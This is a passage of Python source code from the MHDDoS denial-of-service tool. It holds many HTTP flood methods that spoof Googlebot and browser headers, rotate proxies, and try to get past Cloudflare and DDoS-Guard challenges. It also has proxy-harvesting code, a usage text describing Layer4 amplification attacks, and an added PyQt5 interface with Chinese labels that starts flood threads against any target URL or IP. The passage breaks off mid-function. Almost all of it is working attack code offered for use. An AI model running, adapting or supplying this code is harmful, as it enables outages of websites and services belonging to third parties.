"<params><param><value><string>%s</string></value>"
"</param><param><value><string>%s</string>"
"</value></param></params></methodCall>") %
(ProxyTools.Random.rand_str(64),
ProxyTools.Random.rand_str(64)))[:-2]
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def PPS(self) -> None:
payload: Any = str.encode(self._defaultpayload +
f"Host: {self._target.authority}\r\n\r\n")
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def KILLER(self) -> None:
while True:
Thread(target=self.GET, daemon=True).start()
def GET(self) -> None:
payload: bytes = self.generate_payload()
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def BOT(self) -> None:
payload: bytes = self.generate_payload()
p1, p2 = str.encode(
"GET /robots.txt HTTP/1.1\r\n"
"Host: %s\r\n" % self._target.raw_authority +
"Connection: Keep-Alive\r\n"
"Accept: text/plain,text/html,*/*\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) +
"Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
"GET /sitemap.xml HTTP/1.1\r\n"
"Host: %s\r\n" % self._target.raw_authority +
"Connection: Keep-Alive\r\n"
"Accept: */*\r\n"
"From: googlebot(at)googlebot.com\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) +
"Accept-Encoding: gzip,deflate,br\r\n"
"If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
ProxyTools.Random.rand_str(4)) +
"If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
s = None
with suppress(Exception), self.open_connection() as s:
Tools.send(s, p1)
Tools.send(s, p2)
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def EVEN(self) -> None:
payload: bytes = self.generate_payload()
s = None
with suppress(Exception), self.open_connection() as s:
while Tools.send(s, payload) and s.recv(1):
continue
Tools.safe_close(s)
def OVH(self) -> None:
payload: bytes = self.generate_payload()
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(min(self._rpc, 5)):
Tools.send(s, payload)
Tools.safe_close(s)
def CFB(self):
global REQUESTS_SENT, BYTES_SEND
pro = None
if self._proxies:
pro = randchoice(self._proxies)
s = None
with suppress(Exception), create_scraper() as s:
for _ in range(self._rpc):
if pro:
with s.get(self._target.human_repr(),
proxies=pro.asRequest()) as res:
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
continue
with s.get(self._target.human_repr()) as res:
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
Tools.safe_close(s)
def CFBUAM(self):
payload: bytes = self.generate_payload()
s = None
with suppress(Exception), self.open_connection() as s:
Tools.send(s, payload)
sleep(5.01)
ts = time()
for _ in range(self._rpc):
Tools.send(s, payload)
if time() > ts + 120: break
Tools.safe_close(s)
def AVB(self):
payload: bytes = self.generate_payload()
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
sleep(max(self._rpc / 1000, 1))
Tools.send(s, payload)
Tools.safe_close(s)
def DGB(self):
global REQUESTS_SENT, BYTES_SEND
with suppress(Exception):
if self._proxies:
pro = randchoice(self._proxies)
with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents), pro.asRequest()) as ss:
for _ in range(min(self._rpc, 5)):
sleep(min(self._rpc, 5) / 100)
with ss.get(self._target.human_repr(),
proxies=pro.asRequest()) as res:
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
continue
Tools.safe_close(ss)
with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents)) as ss:
for _ in range(min(self._rpc, 5)):
sleep(min(self._rpc, 5) / 100)
with ss.get(self._target.human_repr()) as res:
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
Tools.safe_close(ss)
def DYN(self):
payload: Any = str.encode(self._payload +
f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
self.randHeadercontent +
"\r\n")
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def DOWNLOADER(self):
payload: Any = self.generate_payload()
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
while 1:
sleep(.01)
data = s.recv(1)
if not data:
break
Tools.send(s, b'0')
Tools.safe_close(s)
def BYPASS(self):
global REQUESTS_SENT, BYTES_SEND
pro = None
if self._proxies:
pro = randchoice(self._proxies)
s = None
with suppress(Exception), Session() as s:
for _ in range(self._rpc):
if pro:
with s.get(self._target.human_repr(),
proxies=pro.asRequest()) as res:
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
continue
with s.get(self._target.human_repr()) as res:
REQUESTS_SENT += 1
BYTES_SEND += Tools.sizeOfRequest(res)
Tools.safe_close(s)
def GSB(self):
payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
self._target.raw_path_qs,
ProxyTools.Random.rand_str(6)) +
"Host: %s\r\n" % self._target.authority +
self.randHeadercontent +
'Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: Keep-Alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
'Sec-Fetch-User: ?1\r\n'
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n\r\n')
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def RHEX(self):
randhex = str(randbytes(randchoice([32, 64, 128])))
payload = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
self._target.authority,
randhex) +
"Host: %s/%s\r\n" % (self._target.authority, randhex) +
self.randHeadercontent +
'Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: keep-alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
'Sec-Fetch-User: ?1\r\n'
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n\r\n')
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def STOMP(self):
dep = ('Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: keep-alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
'Sec-Fetch-User: ?1\r\n'
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n\r\n')
hexh = r'\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87' \
r'\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F' \
r'\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F' \
r'\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84' \
r'\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F' \
r'\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98' \
r'\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98' \
r'\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B' \
r'\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99' \
r'\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C' \
r'\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA '
p1, p2 = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
self._target.authority,
hexh) +
"Host: %s/%s\r\n" % (self._target.authority, hexh) +
self.randHeadercontent + dep), str.encode(
"%s %s/cdn-cgi/l/chk_captcha HTTP/1.1\r\n" % (self._req_type,
self._target.authority) +
"Host: %s\r\n" % hexh +
self.randHeadercontent + dep)
s = None
with suppress(Exception), self.open_connection() as s:
Tools.send(s, p1)
for _ in range(self._rpc):
Tools.send(s, p2)
Tools.safe_close(s)
def NULL(self) -> None:
payload: Any = str.encode(self._payload +
f"Host: {self._target.authority}\r\n" +
"User-Agent: null\r\n" +
"Referrer: null\r\n" +
self.SpoofIP + "\r\n")
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def BOMB(self):
assert self._proxies, \
'This method requires proxies. ' \
'Without proxies you can use github.com/codesenberg/bombardier'
while True:
proxy = randchoice(self._proxies)
if proxy.type != ProxyType.SOCKS4:
break
res = run(
[
f'{bombardier_path}',
f'--connections={self._rpc}',
'--http2',
'--method=GET',
'--latencies',
'--timeout=30s',
f'--requests={self._rpc}',
f'--proxy={proxy}',
f'{self._target.human_repr()}',
],
stdout=PIPE,
)
if self._thread_id == 0:
print(proxy, res.stdout.decode(), sep='\n')
def SLOW(self):
payload: bytes = self.generate_payload()
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
while Tools.send(s, payload) and s.recv(1):
for i in range(self._rpc):
keep = str.encode("X-a: %d\r\n" % ProxyTools.Random.rand_int(1, 5000))
Tools.send(s, keep)
sleep(self._rpc / 15)
break
Tools.safe_close(s)
class ProxyManager:
@staticmethod
def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:
providrs = [
provider for provider in cf["proxy-providers"]
if provider["type"] == Proxy_type or Proxy_type == 0
]
logger.info(
f"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}" % len(
providrs))
proxes: Set[Proxy] = set()
with ThreadPoolExecutor(len(providrs)) as executor:
future_to_download = {
executor.submit(
ProxyManager.download, provider,
ProxyType.stringToProxyType(str(provider["type"])))
for provider in providrs
}
for future in as_completed(future_to_download):
for pro in future.result():
proxes.add(pro)
return proxes
@staticmethod
def download(provider, proxy_type: ProxyType) -> Set[Proxy]:
logger.debug(
f"{bcolors.WARNING}Proxies from (URL: {bcolors.OKBLUE}%s{bcolors.WARNING}, Type: {bcolors.OKBLUE}%s{bcolors.WARNING}, Timeout: {bcolors.OKBLUE}%d{bcolors.WARNING}){bcolors.RESET}" %
(provider["url"], proxy_type.name, provider["timeout"]))
proxes: Set[Proxy] = set()
with suppress(TimeoutError, exceptions.ConnectionError,
exceptions.ReadTimeout):
data = get(provider["url"], timeout=provider["timeout"]).text
try:
for proxy in ProxyUtiles.parseAllIPPort(
data.splitlines(), proxy_type):
proxes.add(proxy)
except Exception as e:
logger.error(f'Download Proxy Error: {(e.__str__() or e.__repr__())}')
return proxes
class ToolsConsole:
METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT"}
@staticmethod
def checkRawSocket():
with suppress(OSError):
with socket(AF_INET, SOCK_RAW, IPPROTO_TCP):
return True
return False
@staticmethod
def runConsole():
cons = f"{gethostname()}@MHTools:~#"
while 1:
cmd = input(cons + " ").strip()
if not cmd: continue
if " " in cmd:
cmd, args = cmd.split(" ", 1)
cmd = cmd.upper()
if cmd == "HELP":
print("Tools:" + ", ".join(ToolsConsole.METHODS))
print("Commands: HELP, CLEAR, BACK, EXIT")
continue
if {cmd} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
exit(-1)
if cmd == "CLEAR":
print("\033c")
continue
if not {cmd} & ToolsConsole.METHODS:
print(f"{cmd} command not found")
continue
if cmd == "DSTAT":
with suppress(KeyboardInterrupt):
ld = net_io_counters(pernic=False)
while True:
sleep(1)
od = ld
ld = net_io_counters(pernic=False)
t = [(last - now) for now, last in zip(od, ld)]
logger.info(
("Bytes Sent %s\n"
"Bytes Received %s\n"
"Packets Sent %s\n"
"Packets Received %s\n"
"ErrIn %s\n"
"ErrOut %s\n"
"DropIn %s\n"
"DropOut %s\n"
"Cpu Usage %s\n"
"Memory %s\n") %
(Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),
Tools.humanformat(t[2]), Tools.humanformat(t[3]),
t[4], t[5], t[6], t[7], str(cpu_percent()) + "%",
str(virtual_memory().percent) + "%"))
if cmd in ["CFIP", "DNS"]:
print("Soon")
continue
if cmd == "CHECK":
while True:
with suppress(Exception):
domain = input(f'{cons}give-me-ipaddress# ')
if not domain: continue
if domain.upper() == "BACK": break
if domain.upper() == "CLEAR":
print("\033c")
continue
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
exit(-1)
if "/" not in domain: continue
logger.info("please wait ...")
with get(domain, timeout=20) as r:
logger.info(('status_code: %d\n'
'status: %s') %
(r.status_code, "ONLINE"
if r.status_code <= 500 else "OFFLINE"))
if cmd == "INFO":
while True:
domain = input(f'{cons}give-me-ipaddress# ')
if not domain: continue
if domain.upper() == "BACK": break
if domain.upper() == "CLEAR":
print("\033c")
continue
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
exit(-1)
domain = domain.replace('https://',
'').replace('http://', '')
if "/" in domain: domain = domain.split("/")[0]
print('please wait ...', end="\r")
info = ToolsConsole.info(domain)
if not info["success"]:
print("Error!")
continue
logger.info(("Country: %s\n"
"City: %s\n"
"Org: %s\n"
"Isp: %s\n"
"Region: %s\n") %
(info["country"], info["city"], info["org"],
info["isp"], info["region"]))
if cmd == "TSSRV":
while True:
domain = input(f'{cons}give-me-domain# ')
if not domain: continue
if domain.upper() == "BACK": break
if domain.upper() == "CLEAR":
print("\033c")
continue
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
exit(-1)
domain = domain.replace('https://',
'').replace('http://', '')
if "/" in domain: domain = domain.split("/")[0]
print('please wait ...', end="\r")
info = ToolsConsole.ts_srv(domain)
logger.info(f"TCP: {(info['_tsdns._tcp.'])}\n")
logger.info(f"UDP: {(info['_ts3._udp.'])}\n")
if cmd == "PING":
while True:
domain = input(f'{cons}give-me-ipaddress# ')
if not domain: continue
if domain.upper() == "BACK": break
if domain.upper() == "CLEAR":
print("\033c")
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
exit(-1)
domain = domain.replace('https://',
'').replace('http://', '')
if "/" in domain: domain = domain.split("/")[0]
logger.info("please wait ...")
r = ping(domain, count=5, interval=0.2)
logger.info(('Address: %s\n'
'Ping: %d\n'
'Aceepted Packets: %d/%d\n'
'status: %s\n') %
(r.address, r.avg_rtt, r.packets_received,
r.packets_sent,
"ONLINE" if r.is_alive else "OFFLINE"))
@staticmethod
def stop():
print('All Attacks has been Stopped !')
for proc in process_iter():
if proc.name() == "python.exe":
proc.kill()
@staticmethod
def usage():
print((
'* MHDDoS - DDoS Attack Script With %d Methods\n'
'Note: If the Proxy list is empty, The attack will run without proxies\n'
' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
' Proxy Type 0 = All in config.json\n'
' SocksTypes:\n'
' - 6 = RANDOM\n'
' - 5 = SOCKS5\n'
' - 4 = SOCKS4\n'
' - 1 = HTTP\n'
' - 0 = ALL\n'
' > Methods:\n'
' - Layer4\n'
' | %s | %d Methods\n'
' - Layer7\n'
' | %s | %d Methods\n'
' - Tools\n'
' | %s | %d Methods\n'
' - Others\n'
' | %s | %d Methods\n'
' - All %d Methods\n'
'\n'
'Example:\n'
' L7: python3 %s <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>\n'
' L4: python3 %s <method> <ip:port> <threads> <duration>\n'
' L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\n'
' L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'
' Amplification)>\n') %
(len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),
", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),
", ".join(["TOOLS", "HELP", "STOP"]), 3,
len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
argv[0], argv[0], argv[0], argv[0]))
# noinspection PyBroadException
@staticmethod
def ts_srv(domain):
records = ['_ts3._udp.', '_tsdns._tcp.']
DnsResolver = resolver.Resolver()
DnsResolver.timeout = 1
DnsResolver.lifetime = 1
Info = {}
for rec in records:
try:
srv_records = resolver.resolve(rec + domain, 'SRV')
for srv in srv_records:
Info[rec] = str(srv.target).rstrip('.') + ':' + str(
srv.port)
except:
Info[rec] = 'Not found'
return Info
# noinspection PyUnreachableCode
@staticmethod
def info(domain):
with suppress(Exception), get(f"https://ipwhois.app/json/{domain}/") as s:
return s.json()
return {"success": False}
def handleProxyList(con, proxy_li, proxy_ty, url=None):
if proxy_ty not in {4, 5, 1, 0, 6}:
exit("Socks Type Not Found [4, 5, 1, 0, 6]")
if proxy_ty == 6:
proxy_ty = randchoice([4, 5, 1])
if not proxy_li.exists():
logger.warning(
f"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}")
proxy_li.parent.mkdir(parents=True, exist_ok=True)
with proxy_li.open("w") as wr:
Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
logger.info(
f"{bcolors.OKBLUE}{len(Proxies):,}{bcolors.WARNING} Proxies are getting checked, this may take awhile{bcolors.RESET}!"
)
Proxies = ProxyChecker.checkAll(
Proxies, timeout=5, threads=threads,
url=url.human_repr() if url else "http://httpbin.org/get",
)
if not Proxies:
exit(
"Proxy Check failed, Your network may be the problem"
" | The target may not be available."
)
stringBuilder = ""
for proxy in Proxies:
stringBuilder += (proxy.__str__() + "\n")
wr.write(stringBuilder)
proxies = ProxyUtiles.readFromFile(proxy_li)
if proxies:
logger.info(f"{bcolors.WARNING}Proxy Count: {bcolors.OKBLUE}{len(proxies):,}{bcolors.RESET}")
else:
logger.info(
f"{bcolors.WARNING}Empty Proxy File, running flood without proxy{bcolors.RESET}")
proxies = None
return proxies
import sys
from PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QVBoxLayout, QHBoxLayout, QLabel, QLineEdit, QComboBox, QPushButton, QTextEdit, QGroupBox, QTabWidget, QSpinBox, QFileDialog, QMessageBox
from PyQt5.QtCore import QThread, pyqtSignal, Qt, QTimer
import threading
import time
import os
import ctypes
import inspect
# 攻击线程类
class AttackThread(QThread):
update_signal = pyqtSignal(str)
finished_signal = pyqtSignal()
stopped = False # 添加停止标志
def __init__(self, attack_function, *args, **kwargs):
super().__init__()
self.attack_function = attack_function
self.args = args
self.kwargs = kwargs
self.running = True
self.stop_event = threading.Event()
def run(self):
try:
# 启动实际攻击函数
self.kwargs['stop_event'] = self.stop_event
self.attack_function(*self.args, **self.kwargs)
except Exception as e:
self.update_signal.emit(f"错误: {str(e)}")
finally:
self.finished_signal.emit()
self.stopped = True
def stop(self):
self.running = False
self.stop_event.set()
self.update_signal.emit("发送停止信号...")
class MainWindow(QMainWindow):
def __init__(self):
super().__init__()
self.setWindowTitle("MHDDoS攻击工具")
self.setGeometry(100, 100, 800, 600)
self.central_widget = QWidget()
self.setCentralWidget(self.central_widget)
self.layout = QVBoxLayout(self.central_widget)
# 创建标签页
self.tabs = QTabWidget()
self.layout.addWidget(self.tabs)
# Layer7 标签页
self.layer7_tab = QWidget()
self.init_layer7_ui()
self.tabs.addTab(self.layer7_tab, "Layer7 攻击")
# Layer4 标签页
self.layer4_tab = QWidget()
self.init_layer4_ui()
self.tabs.addTab(self.layer4_tab, "Layer4 攻击")
# 日志输出区域
self.log_group = QGroupBox("攻击日志")
self.log_layout = QVBoxLayout()
self.log_output = QTextEdit()
self.log_output.setReadOnly(True)
self.log_layout.addWidget(self.log_output)
self.log_group.setLayout(self.log_layout)
self.layout.addWidget(self.log_group)
# 状态栏
self.status_label = QLabel("就绪")
self.layout.addWidget(self.status_label)
# 攻击线程
self.attack_threads = []
self.attack_thread = None
self.event = threading.Event()
self.event.clear()
# 状态监控定时器
self.status_timer = QTimer(self)
self.status_timer.timeout.connect(self.check_attack_status)
def init_layer7_ui(self):
layout = QVBoxLayout(self.layer7_tab)
# 目标URL
url_layout = QHBoxLayout()
url_layout.addWidget(QLabel("目标URL:"))
self.url_input = QLineEdit("http://example.com")
url_layout.addWidget(self.url_input)
layout.addLayout(url_layout)
# 方法选择
method_layout = QHBoxLayout()
method_layout.addWidget(QLabel("攻击方法:"))
self.method_combo = QComboBox()
self.method_combo.addItems(sorted(Methods.LAYER7_METHODS))
method_layout.addWidget(self.method_combo)
layout.addLayout(method_layout)
# 代理设置
proxy_layout = QHBoxLayout()
proxy_layout.addWidget(QLabel("代理类型:"))
self.proxy_type_combo = QComboBox()
self.proxy_type_combo.addItems(["HTTP", "SOCKS4", "SOCKS5", "无代理"])
proxy_layout.addWidget(self.proxy_type_combo)
proxy_layout.addWidget(QLabel("代理文件:"))
self.proxy_file_input = QLineEdit("files/proxies/proxies.txt")
proxy_layout.addWidget(self.proxy_file_input)
browse_btn = QPushButton("浏览")
browse_btn.clicked.connect(self.browse_proxy_file)
proxy_layout.addWidget(browse_btn)
layout.addLayout(proxy_layout)
# RPC设置
rpc_layout = QHBoxLayout()
rpc_layout.addWidget(QLabel("RPC (请求/连接):"))
self.rpc_spin = QSpinBox()
self.rpc_spin.setRange(1, 100)
self.rpc_spin.setValue(10)
rpc_layout.addWidget(self.rpc_spin)
layout.addLayout(rpc_layout)
# 线程和持续时间
threads_layout = QHBoxLayout()
threads_layout.addWidget(QLabel("线程数:"))
self.threads_spin = QSpinBox()
self.threads_spin.setRange(1, 5000)
self.threads_spin.setValue(100)
threads_layout.addWidget(self.threads_spin)
threads_layout.addWidget(QLabel("持续时间(秒):"))
self.duration_spin = QSpinBox()
self.duration_spin.setRange(1, 3600)
self.duration_spin.setValue(60)
threads_layout.addWidget(self.duration_spin)
layout.addLayout(threads_layout)
# 按钮
btn_layout = QHBoxLayout()
self.start_btn = QPushButton("开始攻击")
self.start_btn.clicked.connect(self.start_layer7_attack)
btn_layout.addWidget(self.start_btn)
# 添加强行停止按钮
self.force_stop_btn = QPushButton("强行停止")
self.force_stop_btn.clicked.connect(self.force_stop_attack)
self.force_stop_btn.setEnabled(False)
btn_layout.addWidget(self.force_stop_btn)
layout.addLayout(btn_layout)
def init_layer4_ui(self):
layout = QVBoxLayout(self.layer4_tab)
# 目标地址
target_layout = QHBoxLayout()
target_layout.addWidget(QLabel("目标地址:"))
self.target_input = QLineEdit("192.168.1.1:80")
target_layout.addWidget(self.target_input)
layout.addLayout(target_layout)
# 方法选择
method_layout = QHBoxLayout()
method_layout.addWidget(QLabel("攻击方法:"))
self.layer4_method_combo = QComboBox()
self.layer4_method_combo.addItems(sorted(Methods.LAYER4_METHODS))
method_layout.addWidget(self.layer4_method_combo)
layout.addLayout(method_layout)
# 反射器文件(用于放大攻击)
reflector_layout = QHBoxLayout()
reflector_layout.addWidget(QLabel("反射器文件:"))
self.reflector_input = QLineEdit("files/reflectors.txt")
reflector_layout.addWidget(self.reflector_input)
browse_ref_btn = QPushButton("浏览")
browse_ref_btn.clicked.connect(self.browse_reflector_file)
reflector_layout.addWidget(browse_ref_btn)
layout.addLayout(reflector_layout)
# 线程和持续时间
threads_layout = QHBoxLayout()
threads_layout.addWidget(QLabel("线程数:"))
self.layer4_threads_spin = QSpinBox()
self.layer4_threads_spin.setRange(1, 5000)
self.layer4_threads_spin.setValue(100)
threads_layout.addWidget(self.layer4_threads_spin)
threads_layout.addWidget(QLabel("持续时间(秒):"))
self.layer4_duration_spin = QSpinBox()
self.layer4_duration_spin.setRange(1, 3600)
self.layer4_duration_spin.setValue(60)
threads_layout.addWidget(self.layer4_duration_spin)
layout.addLayout(threads_layout)
# 按钮
btn_layout = QHBoxLayout()
self.start_layer4_btn = QPushButton("开始攻击")
self.start_layer4_btn.clicked.connect(self.start_layer4_attack)
btn_layout.addWidget(self.start_layer4_btn)
self.stop_layer4_btn = QPushButton("停止攻击")
self.stop_layer4_btn.clicked.connect(self.stop_attack)
self.stop_layer4_btn.setEnabled(False)
btn_layout.addWidget(self.stop_layer4_btn)
# 添加强行停止按钮
self.force_stop_layer4_btn = QPushButton("强行停止")
self.force_stop_layer4_btn.clicked.connect(self.force_stop_attack)
self.force_stop_layer4_btn.setEnabled(False)
btn_layout.addWidget(self.force_stop_layer4_btn)
layout.addLayout(btn_layout)
def browse_proxy_file(self):
file_path, _ = QFileDialog.getOpenFileName(self, "选择代理文件", "", "文本文件 (*.txt)")
if file_path:
self.proxy_file_input.setText(file_path)
def browse_reflector_file(self):
file_path, _ = QFileDialog.getOpenFileName(self, "选择反射器文件", "", "文本文件 (*.txt)")
if file_path:
self.reflector_input.setText(file_path)
def log_message(self, message):
self.log_output.append(message)
self.log_output.ensureCursorVisible()
self.status_label.setText(message.split("\n")[0][:50] + "...")
def start_layer7_attack(self):
url = self.url_input.text().strip()
method = self.method_combo.currentText()
proxy_type = self.proxy_type_combo.currentText()
proxy_file = self.proxy_file_input.text().strip()
rpc = self.rpc_spin.value()
threads = self.threads_spin.value()
duration = self.duration_spin.value()
if not url:
QMessageBox.warning(self, "输入错误", "请输入目标URL")
return
self.log_message(f"开始Layer7攻击: {method} -> {url}")
self.log_message(f"线程: {threads}, 持续时间: {duration}秒, RPC: {rpc}")
# 设置代理类型映射
proxy_type_map = {
"HTTP": 1,
"SOCKS4": 4,
"SOCKS5": 5,
"无代理": 0
}
# 准备参数
proxy_ty = proxy_type_map.get(proxy_type, 0)
# 创建攻击线程
self.attack_thread = AttackThread(
self.start_real_attack,
"layer7",
method,
url,
threads,
duration,
proxy_ty,
proxy_file,
rpc
)
self.attack_thread.update_signal.connect(self.log_message)
self.attack_thread.finished_signal.connect(self.attack_finished)
self.attack_thread.start()
self.start_btn.setEnabled(False)
self.stop_btn.setEnabled(True)
self.force_stop_btn.setEnabled(True)
self.start_layer4_btn.setEnabled(False)
self.stop_layer4_btn.setEnabled(False)
self.force_stop_layer4_btn.setEnabled(False)
self.status_timer.start(1000) # 每秒检查一次状态
def start_layer4_attack(self):
target = self.target_input.text().strip()
method = self.layer4_method_combo.currentText()
reflector_file = self.reflector_input.text().strip()
threads = self.layer4_threads_spin.value()
duration = self.layer4_duration_spin.value()
if not target:
QMessageBox.warning(self, "输入错误", "请输入目标地址")
return
self.log_message(f"开始Layer4攻击: {method} -> {target}")
self.log_message(f"线程: {threads}, 持续时间: {duration}")
# 创建攻击线程
self.attack_thread = AttackThread(
self.start_real_attack,
"layer4",
method,
target,
threads,
duration,
reflector_file=reflector_file
)
self.attack_thread.update_signal.connect(self.log_message)
self.attack_thread.finished_signal.connect(self.attack_finished)
self.attack_thread.start()
self.start_btn.setEnabled(False)
self.stop_btn.setEnabled(False)
self.force_stop_btn.setEnabled(False)
self.start_layer4_btn.setEnabled(False)
self.stop_layer4_btn.setEnabled(True)
self.force_stop_layer4_btn.setEnabled(True)
self.status_timer.start(1000) # 每秒检查一次状态
def start_real_attack(self, attack_type, method, target, threads, duration,
proxy_ty=None, proxy_file=None, rpc=None, reflector_file=None, stop_event=None):
"""实际执行攻击的函数"""
try:
self.log_message("准备攻击参数...")
self.attack_threads = []
self.event.clear()
if attack_type == "layer7":
# Layer7 攻击
url = URL(target)
host = url.host
# 解析代理类型
if proxy_ty == 6: # RANDOM
proxy_ty = randchoice([4, 5, 1])
# 处理代理文件
proxy_li = Path(proxy_file)
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
# 加载User-Agents和Referers
useragent_li = Path(__dir__ / "files/useragent.txt")
referers_li = Path(__dir__ / "files/referers.txt")
if not useragent_li.exists():
raise FileNotFoundError("User-Agent文件不存在")
if not referers_li.exists():
raise FileNotFoundError("Referer文件不存在")
uagents = set(a.strip() for a in useragent_li.open("r+").readlines())
referers = set(a.strip() for a in referers_li.open("r+").readlines())
# 创建HTTP洪水攻击线程
self.log_message(f"启动{threads}个攻击线程...")
for thread_id in range(threads):
t = HttpFlood(
thread_id,
url,
host,
method,
rpc,
self.event,
uagents,
referers,
proxies
)
t.daemon = True # 设置为守护线程
t.start()
self.attack_threads.append(t)
else: # layer4
# Layer4 攻击
# 解析目标地址
if ":" in target:
ip, port_str = target.split(":", 1)
